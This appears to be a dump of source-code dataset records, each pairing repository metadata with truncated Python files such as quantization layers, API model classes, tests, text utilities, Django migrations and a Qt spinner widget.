import argparse from typing import List, Dict import requests from gamestonk_terminal import config_terminal as cfg from gamestonk_terminal.helper_funcs import ( parse_known_args_and_warn, ) def get_sentiment_stats(ticker: str) -> Dict: """Get sentiment stats Parameters ---------- ticker : str ...
31.325301
109
0.609231
import argparse from typing import List, Dict import requests from gamestonk_terminal import config_terminal as cfg from gamestonk_terminal.helper_funcs import ( parse_known_args_and_warn, ) def get_sentiment_stats(ticker: str) -> Dict: response = requests.get( f"https://finnhub.io/api/v1/news-sentime...
true
true
f71918615f3a215dc0bc915794b798facde5f6a8
22,397
py
Python
qnarre/models/ibert_quant_modules.py
quantapix/qnarre.com
f51d5945c20ef8182c4aa11f1b407d064c190c70
[ "MIT" ]
null
null
null
qnarre/models/ibert_quant_modules.py
quantapix/qnarre.com
f51d5945c20ef8182c4aa11f1b407d064c190c70
[ "MIT" ]
null
null
null
qnarre/models/ibert_quant_modules.py
quantapix/qnarre.com
f51d5945c20ef8182c4aa11f1b407d064c190c70
[ "MIT" ]
null
null
null
import decimal import numpy as np import torch from torch import nn from torch.autograd import Function from ...utils import logging logger = logging.get_logger(__name__) class QuantEmbedding(qc.Module): def __init__( self, num_embeddings, embedding_dim, padding_idx=None, ...
33.934848
105
0.603831
import decimal import numpy as np import torch from torch import nn from torch.autograd import Function from ...utils import logging logger = logging.get_logger(__name__) class QuantEmbedding(qc.Module): def __init__( self, num_embeddings, embedding_dim, padding_idx=None, ...
true
true
f71918cfc24775f026b1e9e604deca5c1ed4179d
18,802
py
Python
intersight/model/fabric_transceiver_role.py
CiscoDevNet/intersight-python
04b721f37c3044646a91c185c7259edfb991557a
[ "Apache-2.0" ]
5
2021-12-16T15:13:32.000Z
2022-03-29T16:09:54.000Z
intersight/model/fabric_transceiver_role.py
CiscoDevNet/intersight-python
04b721f37c3044646a91c185c7259edfb991557a
[ "Apache-2.0" ]
4
2022-01-25T19:05:51.000Z
2022-03-29T20:18:37.000Z
intersight/model/fabric_transceiver_role.py
CiscoDevNet/intersight-python
04b721f37c3044646a91c185c7259edfb991557a
[ "Apache-2.0" ]
2
2020-07-07T15:01:08.000Z
2022-01-31T04:27:35.000Z
""" Cisco Intersight Cisco Intersight is a management platform delivered as a service with embedded analytics for your Cisco and 3rd party IT infrastructure. This platform offers an intelligent level of management that enables IT organizations to analyze, simplify, and automate their environments in more advan...
54.184438
1,678
0.636794
import re import sys from intersight.model_utils import ( ApiTypeError, ModelComposed, ModelNormal, ModelSimple, cached_property, change_keys_js_to_python, convert_js_args_to_python_args, date, datetime, file_type, none_type, validate_get_composed_info, ) def lazy_...
true
true
f7191914c7488e7767557e9c0a804a86c906515e
4,350
py
Python
tests/NeuronTest.py
jaideep-seth/PyOpenWorm
c36baeda9590334ba810296934973da34f0eab78
[ "MIT" ]
1
2019-03-22T12:02:36.000Z
2019-03-22T12:02:36.000Z
tests/NeuronTest.py
BioComSoftware/PyOpenWorm
32084f3570b4ea7fbdb1a4d20bd469d4af6ab28f
[ "MIT" ]
null
null
null
tests/NeuronTest.py
BioComSoftware/PyOpenWorm
32084f3570b4ea7fbdb1a4d20bd469d4af6ab28f
[ "MIT" ]
null
null
null
from __future__ import print_function from __future__ import absolute_import from .DataTestTemplate import _DataTest from PyOpenWorm.neuron import Neuron from PyOpenWorm.cell import Cell from PyOpenWorm.connection import Connection from PyOpenWorm.context import Context class NeuronTest(_DataTest): ctx_classes ...
35.365854
85
0.624828
from __future__ import print_function from __future__ import absolute_import from .DataTestTemplate import _DataTest from PyOpenWorm.neuron import Neuron from PyOpenWorm.cell import Cell from PyOpenWorm.connection import Connection from PyOpenWorm.context import Context class NeuronTest(_DataTest): ctx_classes ...
true
true
f719199aa68ef685b796249b0f94249df6e5c02f
105
py
Python
tests/parser/query.10.test.py
veltri/DLV2
944aaef803aa75e7ec51d7e0c2b0d964687fdd0e
[ "Apache-2.0" ]
null
null
null
tests/parser/query.10.test.py
veltri/DLV2
944aaef803aa75e7ec51d7e0c2b0d964687fdd0e
[ "Apache-2.0" ]
null
null
null
tests/parser/query.10.test.py
veltri/DLV2
944aaef803aa75e7ec51d7e0c2b0d964687fdd0e
[ "Apache-2.0" ]
null
null
null
input = """ a. x | d :- a. c :- b. c? """ output = """ a. x | d :- a. c :- b. c? """
5.526316
12
0.238095
input = """ a. x | d :- a. c :- b. c? """ output = """ a. x | d :- a. c :- b. c? """
true
true
f7191a9344d5198ccde86f8f184716fe9107a381
5,646
py
Python
textacy/text_utils.py
tbsexton/textacy
964614213c7261f91f09c106334269388d45f790
[ "Apache-2.0" ]
null
null
null
textacy/text_utils.py
tbsexton/textacy
964614213c7261f91f09c106334269388d45f790
[ "Apache-2.0" ]
null
null
null
textacy/text_utils.py
tbsexton/textacy
964614213c7261f91f09c106334269388d45f790
[ "Apache-2.0" ]
null
null
null
""" Text Utils ---------- Set of small utility functions that take text strings as input. """ import logging import re from typing import Iterable, Optional, Set, Tuple from . import constants LOGGER = logging.getLogger(__name__) def is_acronym(token: str, exclude: Optional[Set[str]] = None) -> bool: """ P...
35.734177
90
0.626993
import logging import re from typing import Iterable, Optional, Set, Tuple from . import constants LOGGER = logging.getLogger(__name__) def is_acronym(token: str, exclude: Optional[Set[str]] = None) -> bool: if exclude and token in exclude: return False if not token: return False ...
true
true
f7191add8f756794b4712383067b7b7dd7494a69
3,495
py
Python
toyClassification/MC-Dropout-MAP-01-Adam/eval.py
frezaeix/evaluating_bdl
bd0a464981c18de8479b6be2d91867527016c8d3
[ "MIT" ]
null
null
null
toyClassification/MC-Dropout-MAP-01-Adam/eval.py
frezaeix/evaluating_bdl
bd0a464981c18de8479b6be2d91867527016c8d3
[ "MIT" ]
null
null
null
toyClassification/MC-Dropout-MAP-01-Adam/eval.py
frezaeix/evaluating_bdl
bd0a464981c18de8479b6be2d91867527016c8d3
[ "MIT" ]
null
null
null
# code-checked # server-checked from model import ToyNet import torch import torch.utils.data import torch.nn as nn from torch.autograd import Variable import torch.optim as optim import torch.nn.functional as F import numpy as np import pickle import matplotlib matplotlib.use("Agg") import matplotlib.pyplot as plt ...
32.971698
171
0.731903
from model import ToyNet import torch import torch.utils.data import torch.nn as nn from torch.autograd import Variable import torch.optim as optim import torch.nn.functional as F import numpy as np import pickle import matplotlib matplotlib.use("Agg") import matplotlib.pyplot as plt import matplotlib.cm as cm impor...
true
true
f7191b74ad043bf5a88f00d42e710de35f6e22dd
2,969
py
Python
test/functional/wallet_keypool_topup.py
ORO-mlm/ORO-Core
770e4728e1b67023f2f52da2850e058732e7583f
[ "MIT" ]
null
null
null
test/functional/wallet_keypool_topup.py
ORO-mlm/ORO-Core
770e4728e1b67023f2f52da2850e058732e7583f
[ "MIT" ]
null
null
null
test/functional/wallet_keypool_topup.py
ORO-mlm/ORO-Core
770e4728e1b67023f2f52da2850e058732e7583f
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # Copyright (c) 2017 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test HD Wallet keypool restore function. Two nodes. Node1 is under test. Node0 is providing transactions an...
37.582278
164
0.67969
import shutil from test_framework.test_framework import OroTestFramework from test_framework.util import ( assert_equal, connect_nodes, ) class KeypoolRestoreTest(OroTestFramework): def set_test_params(self): self.setup_clean_chain = True self.num_nodes = 2 self.extra_args = [['-ke...
true
true
f7191b7831ff3bb9f706d295c3c5cdd09d24319d
2,516
py
Python
examples/uno_single.py
drunkpig/rlcard
db8a410bbfefb7f9fd958239aae8d79a8bfb29d3
[ "MIT" ]
null
null
null
examples/uno_single.py
drunkpig/rlcard
db8a410bbfefb7f9fd958239aae8d79a8bfb29d3
[ "MIT" ]
null
null
null
examples/uno_single.py
drunkpig/rlcard
db8a410bbfefb7f9fd958239aae8d79a8bfb29d3
[ "MIT" ]
1
2020-11-20T16:38:37.000Z
2020-11-20T16:38:37.000Z
''' A toy example of training single-agent algorithm on Leduc Hold'em The environment can be treated as normal OpenAI gym style single-agent environment ''' import tensorflow as tf import os import numpy as np import rlcard from rlcard.agents.dqn_agent import DQNAgent from rlcard.agents.random_agent import Random...
29.255814
86
0.657393
import tensorflow as tf import os import numpy as np import rlcard from rlcard.agents.dqn_agent import DQNAgent from rlcard.agents.random_agent import RandomAgent from rlcard.utils.utils import set_global_seed, tournament from rlcard.utils.logger import Logger env = rlcard.make('uno', config={'single_agent_mode':Tru...
true
true
f7191be16d1b89c72207a7ef5c87366a86c4b09c
17,228
py
Python
starlingx-dashboard/starlingx-dashboard/starlingx_dashboard/dashboards/admin/inventory/cpu_functions/forms.py
NaiveOpenStack/stx-gui
11b75559f0dea9dd7b5807353cb6141903d1ab4e
[ "Apache-2.0" ]
1
2018-09-18T11:10:53.000Z
2018-09-18T11:10:53.000Z
starlingx-dashboard/starlingx-dashboard/starlingx_dashboard/dashboards/admin/inventory/cpu_functions/forms.py
NaiveOpenStack/stx-gui
11b75559f0dea9dd7b5807353cb6141903d1ab4e
[ "Apache-2.0" ]
null
null
null
starlingx-dashboard/starlingx-dashboard/starlingx_dashboard/dashboards/admin/inventory/cpu_functions/forms.py
NaiveOpenStack/stx-gui
11b75559f0dea9dd7b5807353cb6141903d1ab4e
[ "Apache-2.0" ]
null
null
null
# # Copyright (c) 2013-2015 Wind River Systems, Inc. # # SPDX-License-Identifier: Apache-2.0 # # vim: tabstop=4 shiftwidth=4 softtabstop=4 import logging from cgtsclient import exc from django.core.urlresolvers import reverse # noqa from django import shortcuts from django.utils.translation import ugettext_lazy as ...
43.07
79
0.557755
import logging from cgtsclient import exc from django.core.urlresolvers import reverse from django import shortcuts from django.utils.translation import ugettext_lazy as _ from horizon import exceptions from horizon import forms from horizon import messages from starlingx_dashboard.api import sysinv LOG = loggin...
true
true
f7191d9a9dc651d2b6f271add852f02c238d421a
272
py
Python
catalog/bindings/csw/crs_ref.py
NIVANorge/s-enda-playground
56ae0a8978f0ba8a5546330786c882c31e17757a
[ "Apache-2.0" ]
null
null
null
catalog/bindings/csw/crs_ref.py
NIVANorge/s-enda-playground
56ae0a8978f0ba8a5546330786c882c31e17757a
[ "Apache-2.0" ]
null
null
null
catalog/bindings/csw/crs_ref.py
NIVANorge/s-enda-playground
56ae0a8978f0ba8a5546330786c882c31e17757a
[ "Apache-2.0" ]
null
null
null
from dataclasses import dataclass from bindings.csw.general_conversion_ref_type import CrsrefType __NAMESPACE__ = "http://www.opengis.net/gml" @dataclass class CrsRef(CrsrefType): class Meta: name = "crsRef" namespace = "http://www.opengis.net/gml"
22.666667
63
0.731618
from dataclasses import dataclass from bindings.csw.general_conversion_ref_type import CrsrefType __NAMESPACE__ = "http://www.opengis.net/gml" @dataclass class CrsRef(CrsrefType): class Meta: name = "crsRef" namespace = "http://www.opengis.net/gml"
true
true
f7191efcb8f233967b15e0f9433e0c54a591c370
3,760
py
Python
tools/TAZ_CALCULATOR/mutraff_tazcalc.py
uahservtel/uah-gist-mutraff-bastra
b5a4eab4763e1cf9d914c4af8a77426391e71e31
[ "Xnet", "Linux-OpenIB", "X11" ]
3
2019-11-20T15:22:27.000Z
2021-06-13T07:52:14.000Z
tools/TAZ_CALCULATOR/mutraff_tazcalc.py
uahservtel/uah-gist-mutraff-bastra
b5a4eab4763e1cf9d914c4af8a77426391e71e31
[ "Xnet", "Linux-OpenIB", "X11" ]
null
null
null
tools/TAZ_CALCULATOR/mutraff_tazcalc.py
uahservtel/uah-gist-mutraff-bastra
b5a4eab4763e1cf9d914c4af8a77426391e71e31
[ "Xnet", "Linux-OpenIB", "X11" ]
null
null
null
''' Created on 09/12/2016 @author: Alvaro Paricio @description: Calculator of TRAFFIC ASSIGNMENT ZONES (TAZ). Given a networkfile and a polygon description, get all the nodes of the network included inside the polygon. ''' import sys sys.path.insert(1,'lib') import argparse as arg from TazGeometry import taz_test, MuT...
45.301205
183
0.611702
import sys sys.path.insert(1,'lib') import argparse as arg from TazGeometry import taz_test, MuTazCalculator opts= {} def getConfig(): parser = arg.ArgumentParser( prog="mutraff_tazcalc", formatter_class=arg.RawDescriptionHelpFormatter, description='''\ MuTRAFF TAZ Calculator Given an XML taz definiti...
true
true
f7191f1eaaa578d51a94826ccc2ece39d7ec093d
9,695
py
Python
moto/__init__.py
hudelgado/moto
b8cd79cd06a6cc591b0a51086ead50609af4dd4d
[ "Apache-2.0" ]
null
null
null
moto/__init__.py
hudelgado/moto
b8cd79cd06a6cc591b0a51086ead50609af4dd4d
[ "Apache-2.0" ]
null
null
null
moto/__init__.py
hudelgado/moto
b8cd79cd06a6cc591b0a51086ead50609af4dd4d
[ "Apache-2.0" ]
null
null
null
import importlib import sys from contextlib import ContextDecorator def lazy_load( module_name, element, boto3_name=None, backend=None, warn_repurpose=False ): def f(*args, **kwargs): if warn_repurpose: import warnings warnings.warn( f"Module {element} has been...
43.671171
100
0.749252
import importlib import sys from contextlib import ContextDecorator def lazy_load( module_name, element, boto3_name=None, backend=None, warn_repurpose=False ): def f(*args, **kwargs): if warn_repurpose: import warnings warnings.warn( f"Module {element} has been...
true
true
f7191f7935da25cbd12b4c11447277fbf7e9bc34
73,117
py
Python
build/android/pylib/android_commands.py
gw280/buildroot
85c55625fd2cdd92e756b2b845ed054f7bd19130
[ "BSD-3-Clause" ]
20
2015-08-26T06:46:00.000Z
2019-02-27T09:05:58.000Z
build/android/pylib/android_commands.py
gw280/buildroot
85c55625fd2cdd92e756b2b845ed054f7bd19130
[ "BSD-3-Clause" ]
3
2019-01-02T17:06:03.000Z
2019-01-16T23:55:04.000Z
build/android/pylib/android_commands.py
gw280/buildroot
85c55625fd2cdd92e756b2b845ed054f7bd19130
[ "BSD-3-Clause" ]
2
2015-08-26T05:49:35.000Z
2020-02-03T20:22:43.000Z
# Copyright (c) 2012 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Provides an interface to communicate with the device via the adb command. Assumes adb binary is currently on system path. Note that this module is d...
36.983814
80
0.659983
"""Provides an interface to communicate with the device via the adb command. Assumes adb binary is currently on system path. Note that this module is deprecated. """ import collections import datetime import inspect import logging import os import random import re import shlex import signal import subprocess impor...
false
true
f719218d3fe98d1455ee9174e8b9c5286ddf7b15
670
py
Python
src/LocalChoiceModel/vel_param.py
noashin/local_global_attention_model
531e6a4cc1dc364a6a4168de1b9f972727a8aeb1
[ "MIT" ]
null
null
null
src/LocalChoiceModel/vel_param.py
noashin/local_global_attention_model
531e6a4cc1dc364a6a4168de1b9f972727a8aeb1
[ "MIT" ]
null
null
null
src/LocalChoiceModel/vel_param.py
noashin/local_global_attention_model
531e6a4cc1dc364a6a4168de1b9f972727a8aeb1
[ "MIT" ]
null
null
null
import sys import numpy as np from scipy.stats import multivariate_normal sys.path.append('./../../') from src.HMC.hmcparameter import HMCParameter class VelParam(HMCParameter): def __init__(self, init_val): super().__init__(np.array(init_val)) dim = np.array(init_val).shape self.mu = np....
24.814815
65
0.665672
import sys import numpy as np from scipy.stats import multivariate_normal sys.path.append('./../../') from src.HMC.hmcparameter import HMCParameter class VelParam(HMCParameter): def __init__(self, init_val): super().__init__(np.array(init_val)) dim = np.array(init_val).shape self.mu = np....
true
true
f719245ed4a4fb729ba07d5a218d16d0af49e06d
1,972
py
Python
propnet/models/python/electromechanical_coupling.py
ruriboshi/propnet
770703fb4fc344f785f89c02f26b31ea5733d2bd
[ "BSD-3-Clause-LBNL" ]
57
2018-01-09T14:56:20.000Z
2022-02-24T11:44:42.000Z
propnet/models/python/electromechanical_coupling.py
ruriboshi/propnet
770703fb4fc344f785f89c02f26b31ea5733d2bd
[ "BSD-3-Clause-LBNL" ]
214
2017-09-26T23:31:09.000Z
2022-03-14T04:50:58.000Z
propnet/models/python/electromechanical_coupling.py
ruriboshi/propnet
770703fb4fc344f785f89c02f26b31ea5733d2bd
[ "BSD-3-Clause-LBNL" ]
26
2017-10-29T21:34:22.000Z
2022-01-12T05:59:12.000Z
import numpy as np def plug_in(symbol_values): req_symbols = ["S", "e", "d"] data = {} if all(s in symbol_values for s in req_symbols): e = symbol_values["e"] S = symbol_values["S"] d = symbol_values["d"] data["k"] = np.abs(d[2][2] / np.sqrt(e[2][2] * S[2][2])) retur...
32.866667
111
0.573022
import numpy as np def plug_in(symbol_values): req_symbols = ["S", "e", "d"] data = {} if all(s in symbol_values for s in req_symbols): e = symbol_values["e"] S = symbol_values["S"] d = symbol_values["d"] data["k"] = np.abs(d[2][2] / np.sqrt(e[2][2] * S[2][2])) retur...
true
true
f7192509abdc2fa2929bd17b5a5b981950b115dd
875
py
Python
forum/migrations/0008_auto_20180116_0137.py
SH-anonta/Discussion-Forum
03c92916d4dd708ad76e0aa945aaecacb1eac30e
[ "MIT" ]
null
null
null
forum/migrations/0008_auto_20180116_0137.py
SH-anonta/Discussion-Forum
03c92916d4dd708ad76e0aa945aaecacb1eac30e
[ "MIT" ]
null
null
null
forum/migrations/0008_auto_20180116_0137.py
SH-anonta/Discussion-Forum
03c92916d4dd708ad76e0aa945aaecacb1eac30e
[ "MIT" ]
null
null
null
# Generated by Django 2.0.1 on 2018-01-15 19:37 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('forum', '0007_auto_20180...
28.225806
114
0.618286
from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('forum', '0007_auto_20180113_1812'), ] operations = [ mi...
true
true
f719250ed98ee5f352d386094fce8e0557ce50cb
4,716
py
Python
pylenium/scripts/report_portal.py
xtrakTD/pyleniumio
3c4b3d86491dd3ccf0bc399a42e5336a3c9f7fa6
[ "MIT" ]
169
2020-03-16T15:04:42.000Z
2022-03-31T18:53:41.000Z
pylenium/scripts/report_portal.py
xtrakTD/pyleniumio
3c4b3d86491dd3ccf0bc399a42e5336a3c9f7fa6
[ "MIT" ]
163
2020-03-15T06:33:54.000Z
2022-03-31T21:37:09.000Z
pylenium/scripts/report_portal.py
xtrakTD/pyleniumio
3c4b3d86491dd3ccf0bc399a42e5336a3c9f7fa6
[ "MIT" ]
26
2020-03-28T05:43:22.000Z
2022-02-11T16:46:34.000Z
""" ReportPortal.io integration 1. Download the ReportPortal `docker-compose.yml` file as "docker-compose.report-portal.yml" 2. Setup permissions for ElasticSearch 3. Configure the `YAML` file based on OS 4. `docker-compose up` 5. Open ReportPortal and login (change password afterwards) """ import platform from pyle...
38.341463
119
0.6338
import platform from pylenium.scripts import cli_utils def __stop_containers(): command = 'docker stop $(docker ps -a -f "name=reportportal" --format "{{.Names}}")' if platform.system() == 'Windows': command = "FOR /f \"tokens=*\" %i IN " \ "('docker ps -a -f \"name=reportportal\" ...
true
true
f71925bd9fe55e2d80c707e532175799b9940cd4
147
py
Python
src/radical/pilot/worker/__init__.py
eirrgang/radical.pilot
ceccd1867dd172935d602ff4c33a5ed4467e0dc8
[ "MIT" ]
47
2015-03-16T01:08:11.000Z
2022-02-02T10:36:39.000Z
src/radical/pilot/worker/__init__.py
eirrgang/radical.pilot
ceccd1867dd172935d602ff4c33a5ed4467e0dc8
[ "MIT" ]
1,856
2015-01-02T09:32:20.000Z
2022-03-31T21:45:06.000Z
src/radical/pilot/worker/__init__.py
eirrgang/radical.pilot
ceccd1867dd172935d602ff4c33a5ed4467e0dc8
[ "MIT" ]
28
2015-06-10T18:15:14.000Z
2021-11-07T04:36:45.000Z
__copyright__ = "Copyright 2016, http://radical.rutgers.edu" __license__ = "MIT" from .update import Update from .stager import Stager
16.333333
60
0.714286
__copyright__ = "Copyright 2016, http://radical.rutgers.edu" __license__ = "MIT" from .update import Update from .stager import Stager
true
true
f71925dc3984013ee3e549051b9ebf44316eb766
8,888
py
Python
exe/modules/Merger.py
KagenoMoheji/ActiveTabGanttLogger
2d7c88e1c48d56126904d14e780a2588c69336fc
[ "MIT" ]
null
null
null
exe/modules/Merger.py
KagenoMoheji/ActiveTabGanttLogger
2d7c88e1c48d56126904d14e780a2588c69336fc
[ "MIT" ]
null
null
null
exe/modules/Merger.py
KagenoMoheji/ActiveTabGanttLogger
2d7c88e1c48d56126904d14e780a2588c69336fc
[ "MIT" ]
null
null
null
import os import sys import platform import datetime from modules.Public import StrFormatter class Merger: currdir = "" mergedir = "" run_merge = { "active_tab": False, "mouse": False, "keyboard": False } strfmr = None def __init__(self): ''' ...
48.568306
143
0.507426
import os import sys import platform import datetime from modules.Public import StrFormatter class Merger: currdir = "" mergedir = "" run_merge = { "active_tab": False, "mouse": False, "keyboard": False } strfmr = None def __init__(self): self.str...
true
true
f7192642ac4e4ccc76acb1a05c82ae929b697a48
3,870
py
Python
website/src/globaly/rest_api.py
iamcholo/videoplatform
72dd1db73e1c940e5992dacbb63feb8fc11394e3
[ "Apache-2.0" ]
null
null
null
website/src/globaly/rest_api.py
iamcholo/videoplatform
72dd1db73e1c940e5992dacbb63feb8fc11394e3
[ "Apache-2.0" ]
9
2020-06-05T19:18:35.000Z
2022-03-11T23:30:50.000Z
website/src/globaly/rest_api.py
iamcholo/videoplatform
72dd1db73e1c940e5992dacbb63feb8fc11394e3
[ "Apache-2.0" ]
null
null
null
import json from django.conf import settings from django.http import Http404, HttpResponseRedirect, HttpResponse from django.conf.urls import url, include from rest_framework import routers, serializers, viewsets, generics from rest_framework import status from rest_framework.decorators import api_view, authentication_...
30.714286
90
0.605685
import json from django.conf import settings from django.http import Http404, HttpResponseRedirect, HttpResponse from django.conf.urls import url, include from rest_framework import routers, serializers, viewsets, generics from rest_framework import status from rest_framework.decorators import api_view, authentication_...
true
true
f719265545a7052a735de005b48163850981877d
8,764
py
Python
spyder/widgets/waitingspinner.py
suokunlong/spyder
2d5d450fdcef232fb7f38e7fefc27f0e7f704c9a
[ "MIT" ]
3
2019-09-27T21:00:00.000Z
2021-03-07T23:28:32.000Z
spyder/widgets/waitingspinner.py
jastema/spyder
0ef48ea227c53f57556cd8002087dc404b0108b0
[ "MIT" ]
3
2020-10-13T21:15:23.000Z
2020-10-13T21:15:24.000Z
spyder/widgets/waitingspinner.py
jastema/spyder
0ef48ea227c53f57556cd8002087dc404b0108b0
[ "MIT" ]
2
2021-04-30T01:18:22.000Z
2021-09-19T06:31:42.000Z
# -*- coding: utf-8 -*- """ The MIT License (MIT) Copyright (c) 2012-2014 Alexander Turkin Copyright (c) 2014 William Hallatt Copyright (c) 2015 Jacob Dawid Copyright (c) 2016 Luca Weiss Copyright (c) 2017- Spyder Project Contributors Permission is hereby granted, free of charge, to any person obtaining a copy of th...
34.368627
105
0.655294
import math from qtpy.QtCore import QRect, Qt, QTimer from qtpy.QtGui import QColor, QPainter from qtpy.QtWidgets import QWidget class QWaitingSpinner(QWidget): def __init__(self, parent, centerOnParent=True, disableParentWhenSpinning=False, modality=Qt.NonModal): QWidget.__ini...
true
true
f71926594989831bd3fe9b4bdf47da2f462f2958
91
py
Python
app/main/__init__.py
gichimux/news_highlight_0.1
c085db3b80944bc18960b4896c7cb8d2a15bd305
[ "MIT" ]
1
2019-03-21T03:06:29.000Z
2019-03-21T03:06:29.000Z
app/main/__init__.py
gichimux/news_highlight_0.1
c085db3b80944bc18960b4896c7cb8d2a15bd305
[ "MIT" ]
null
null
null
app/main/__init__.py
gichimux/news_highlight_0.1
c085db3b80944bc18960b4896c7cb8d2a15bd305
[ "MIT" ]
1
2020-04-03T02:36:34.000Z
2020-04-03T02:36:34.000Z
from flask import Blueprint main = Blueprint('main', __name__) from . import views,errors
18.2
34
0.769231
from flask import Blueprint main = Blueprint('main', __name__) from . import views,errors
true
true
f7192710ad408630f6ee5b7d502e00787c41b0a8
2,222
py
Python
event_pubsub/handlers/event_listener_handlers.py
anandrgitnirman/snet-marketplace-service
f31bf741094476b9cb26277f1165deb2856257b1
[ "MIT" ]
null
null
null
event_pubsub/handlers/event_listener_handlers.py
anandrgitnirman/snet-marketplace-service
f31bf741094476b9cb26277f1165deb2856257b1
[ "MIT" ]
null
null
null
event_pubsub/handlers/event_listener_handlers.py
anandrgitnirman/snet-marketplace-service
f31bf741094476b9cb26277f1165deb2856257b1
[ "MIT" ]
null
null
null
import sys sys.path.append('/opt') from common.logger import get_logger from common.utils import handle_exception_with_slack_notification from common.exception_handler import exception_handler from event_pubsub.config import NETWORK_ID, SLACK_HOOK from event_pubsub.listeners.event_listeners import MPEEventListener, RF...
42.730769
112
0.860036
import sys sys.path.append('/opt') from common.logger import get_logger from common.utils import handle_exception_with_slack_notification from common.exception_handler import exception_handler from event_pubsub.config import NETWORK_ID, SLACK_HOOK from event_pubsub.listeners.event_listeners import MPEEventListener, RF...
true
true
f71927526b4a5695020b5b175570366eb0a2f1d0
6,086
py
Python
analysis/baseline/s02_perform_encoding.py
eduardojdiniz/Buzznauts
8ac242a8d5309b4090a0f0b148ec275cac762bc0
[ "MIT" ]
2
2021-08-03T15:07:04.000Z
2022-03-02T15:10:07.000Z
analysis/baseline/s02_perform_encoding.py
eduardojdiniz/Buzznauts
8ac242a8d5309b4090a0f0b148ec275cac762bc0
[ "MIT" ]
8
2021-08-04T14:21:14.000Z
2021-08-16T21:07:12.000Z
analysis/baseline/s02_perform_encoding.py
eduardojdiniz/Buzznauts
8ac242a8d5309b4090a0f0b148ec275cac762bc0
[ "MIT" ]
null
null
null
#!/usr/bin/env python # coding=utf-8 import numpy as np import os import os.path as op import argparse import torch from Buzznauts.utils import load_dict, saveasnii, get_fmri, set_device from Buzznauts.analysis.baseline import get_activations, predict_fmri_fast from tqdm import tqdm def main(): description = 'En...
38.518987
79
0.544857
import numpy as np import os import os.path as op import argparse import torch from Buzznauts.utils import load_dict, saveasnii, get_fmri, set_device from Buzznauts.analysis.baseline import get_activations, predict_fmri_fast from tqdm import tqdm def main(): description = 'Encoding model analysis for Algonauts 2...
true
true
f719275c0f8f28584e41df42235876facf663976
2,395
py
Python
ayewa/views.py
JoanEliot/ayewa
e36128357564cb83938b2d7096b3fe75330dc948
[ "MIT" ]
null
null
null
ayewa/views.py
JoanEliot/ayewa
e36128357564cb83938b2d7096b3fe75330dc948
[ "MIT" ]
null
null
null
ayewa/views.py
JoanEliot/ayewa
e36128357564cb83938b2d7096b3fe75330dc948
[ "MIT" ]
null
null
null
from django.conf import settings from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger from django.shortcuts import render from wagtail.core.models import Page from wagtail.search.models import Query from .models import ActionApproach, Resource, Solution, People def search(request): # Search ...
39.916667
100
0.681002
from django.conf import settings from django.core.paginator import Paginator, EmptyPage, PageNotAnInteger from django.shortcuts import render from wagtail.core.models import Page from wagtail.search.models import Query from .models import ActionApproach, Resource, Solution, People def search(request): search...
true
true
f71928ded4483b24d811acaae516a6fa0a846be5
2,771
py
Python
lib/terminal.py
stevecotton/i18nspector
b9fa6f5c54341f8c7e82b48adb0de05376bab8e7
[ "MIT" ]
1
2016-10-25T18:22:02.000Z
2016-10-25T18:22:02.000Z
lib/terminal.py
stevecotton/i18nspector
b9fa6f5c54341f8c7e82b48adb0de05376bab8e7
[ "MIT" ]
8
2016-08-25T17:37:49.000Z
2022-02-17T20:47:31.000Z
lib/terminal.py
stevecotton/i18nspector
b9fa6f5c54341f8c7e82b48adb0de05376bab8e7
[ "MIT" ]
3
2017-03-03T00:50:28.000Z
2021-08-17T16:43:25.000Z
# Copyright © 2012-2018 Jakub Wilk <jwilk@jwilk.net> # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the “Software”), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, mer...
28.864583
96
0.674125
import functools import re class _dummy_curses: @staticmethod def tigetstr(*args, **kwargs): del args, kwargs return b'' @staticmethod def tparm(*args, **kwargs): del args, kwargs return b'' _curses = _dummy_curses class colors: black = NotImplemented red =...
true
true
f7192a92add38302ca93b33ef7669bbdd2fd3d64
1,534
py
Python
backend/examples/managers.py
daobook/doccano
45122687740f74f19e2578c5cf28507f0839bf16
[ "MIT" ]
2
2021-12-11T22:25:27.000Z
2021-12-20T01:02:16.000Z
backend/examples/managers.py
daobook/doccano
45122687740f74f19e2578c5cf28507f0839bf16
[ "MIT" ]
1
2022-02-15T10:50:18.000Z
2022-02-15T10:50:18.000Z
backend/examples/managers.py
daobook/doccano
45122687740f74f19e2578c5cf28507f0839bf16
[ "MIT" ]
null
null
null
from django.db.models import Count, Manager class ExampleManager(Manager): def bulk_create(self, objs, batch_size=None, ignore_conflicts=False): super().bulk_create(objs, batch_size=batch_size, ignore_conflicts=ignore_conflicts) uuids = [data.uuid for data in objs] examples = self.in_bulk...
35.674419
91
0.594524
from django.db.models import Count, Manager class ExampleManager(Manager): def bulk_create(self, objs, batch_size=None, ignore_conflicts=False): super().bulk_create(objs, batch_size=batch_size, ignore_conflicts=ignore_conflicts) uuids = [data.uuid for data in objs] examples = self.in_bulk...
true
true
f7192c7b1ed57d054d205ebd4ca697e7e2c4e65c
10,095
py
Python
datapreparation/analyze.py
Anders-Holst/Bonsai
841aa4e12c8bea8945396bd232c2006260127507
[ "MIT" ]
null
null
null
datapreparation/analyze.py
Anders-Holst/Bonsai
841aa4e12c8bea8945396bd232c2006260127507
[ "MIT" ]
null
null
null
datapreparation/analyze.py
Anders-Holst/Bonsai
841aa4e12c8bea8945396bd232c2006260127507
[ "MIT" ]
null
null
null
#! /usr/bin/env python3 """ ------------------------------- analyse.py Copyright (C) 2018 RISE This code was produced by RISE The 2013-04-10 version bonsai/src_v02/analyze.py simple analysis of pandas dataframes data such as 1. find duplicated rows 2. number of unique ...
22.995444
71
0.525706
